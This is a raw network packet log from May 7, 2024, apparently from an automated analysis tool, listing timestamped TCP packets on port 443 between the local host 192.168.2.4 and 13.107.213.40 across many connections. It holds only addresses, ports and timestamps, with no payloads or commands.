May 7, 2024 20:32:10.385809898 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.385854959 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.386239052 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.386292934 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.386375904 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.386382103 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.386879921 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.387212992 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.387223959 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.388273001 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.388346910 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.388710976 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.388773918 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.388909101 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.388916016 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.428848028 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.428919077 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.530517101 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.530544043 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.530553102 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.530577898 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.530601025 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.530711889 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.530738115 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.530890942 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.564626932 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.564654112 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640824080 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640850067 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640857935 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640887022 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640923023 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.640928030 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640952110 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.640968084 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.641000986 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.641005993 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.641017914 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.641043901 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.641068935 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.641074896 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.641088009 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.641119003 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.645083904 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645108938 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645117998 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645147085 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645173073 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.645180941 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645186901 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645229101 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.645234108 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.645272970 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.673789978 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.673815966 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.725589991 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.725636959 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.725675106 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.725682974 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.725732088 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.725959063 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.725977898 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.726022959 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.726027966 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.726078033 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.726288080 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.726306915 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.726353884 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.726358891 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.726386070 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.726393938 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.810197115 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810220003 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810286999 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.810296059 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810350895 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.810574055 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810590029 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810664892 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.810671091 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810722113 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.810883999 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810941935 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.810949087 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.810960054 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.811006069 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.811651945 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.811661959 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.849442005 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.849495888 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.849574089 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.851437092 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.851449966 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.896671057 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.896718979 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.896785975 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.897172928 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.897187948 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.120317936 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.120609045 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.120618105 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.133253098 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.133322954 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.133904934 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.134063959 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.134077072 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.135648966 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.162722111 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.163073063 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.163100004 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.164171934 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.164298058 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.164700985 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.164764881 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.164817095 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.176002979 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.176017046 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.211066961 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.211081028 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.226516008 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.254873037 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.417547941 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417572021 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417578936 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417598009 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417604923 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417607069 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417644024 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.417656898 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417721987 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.417725086 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.417783022 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.420595884 CEST	49851	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.420614004 CEST	443	49851	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428204060 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428226948 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428236961 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428257942 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428272963 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428281069 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428328991 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.428328991 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.428358078 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428371906 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428396940 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428402901 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428417921 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.428417921 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.428422928 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428442001 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.428452015 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.428477049 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.428477049 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.514710903 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.514738083 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.514780998 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.514789104 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.514808893 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.514822006 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.514843941 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.514866114 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.514940977 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.514981031 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.515973091 CEST	49852	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.515990019 CEST	443	49852	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.524018049 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.524054050 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.524128914 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.524430990 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.524442911 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.788846970 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.833537102 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.860915899 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.860934019 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.862349987 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.862392902 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.862519026 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.863327026 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.863447905 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.863482952 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.863528967 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.863568068 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.869870901 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.869908094 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.869972944 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.870873928 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.870891094 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.871913910 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.872039080 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.872514963 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.872536898 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.873032093 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.873050928 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.873580933 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:11.873589039 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:11.914335966 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.045162916 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.045209885 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045423031 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.045473099 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045504093 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045516014 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045535088 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045546055 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045553923 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045566082 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.045582056 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045603037 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045612097 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.045628071 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.045631886 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045650005 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.045690060 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.046236992 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.046253920 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.048882961 CEST	49853	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.048903942 CEST	443	49853	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.138983965 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.139245033 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.139265060 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.140489101 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.140522003 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.140552044 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.140651941 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.141295910 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.141309023 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.141680002 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.142222881 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.142298937 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.142582893 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.142601967 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.142982006 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.142992020 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.143001080 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.143455029 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.143533945 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.144151926 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.144231081 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.144531965 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.144695044 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.192111015 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.192116022 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.195620060 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.312493086 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.312623978 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.312751055 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.314685106 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.314765930 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.314831972 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.314953089 CEST	49856	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.314954042 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.314969063 CEST	443	49856	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.318269968 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.318650961 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.318697929 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.341692924 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.387231112 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.390850067 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.390860081 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.392112017 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.392174959 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.392863035 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.392944098 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.393397093 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.393404961 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.404561043 CEST	49855	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.404578924 CEST	443	49855	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.409197092 CEST	49854	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.409216881 CEST	443	49854	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.441910982 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.456810951 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.456859112 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.457108021 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.460043907 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.460058928 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.469115019 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.469156027 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.469419956 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.469990969 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.470005989 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.472683907 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.472712994 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.472990036 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.473313093 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.473326921 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692519903 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692540884 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692548037 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692574978 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692586899 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692598104 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692617893 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.692630053 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.692662954 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.692681074 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.693312883 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.693331003 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.693365097 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.693375111 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.693382025 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.693403006 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.693434000 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.693442106 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.693453074 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.693495989 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.735858917 CEST	49858	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.735874891 CEST	443	49858	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.744251013 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.744524956 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.744541883 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.744934082 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.745265961 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.745341063 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.745431900 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.748022079 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.748209000 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.748223066 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.749248981 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.749310017 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.749968052 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.750030994 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.750097036 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.773147106 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.773359060 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.773369074 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.773814917 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.774266958 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.774374008 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.774379969 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.785341978 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.785355091 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.796118021 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.800970078 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.800982952 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.816118956 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.816586018 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.847826958 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.918304920 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.918401003 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.918515921 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.924356937 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.924403906 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.924458981 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.924464941 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.924499989 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.949843884 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.950002909 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.950067997 CEST	49859	443	192.168.2.4	13.107.213.40
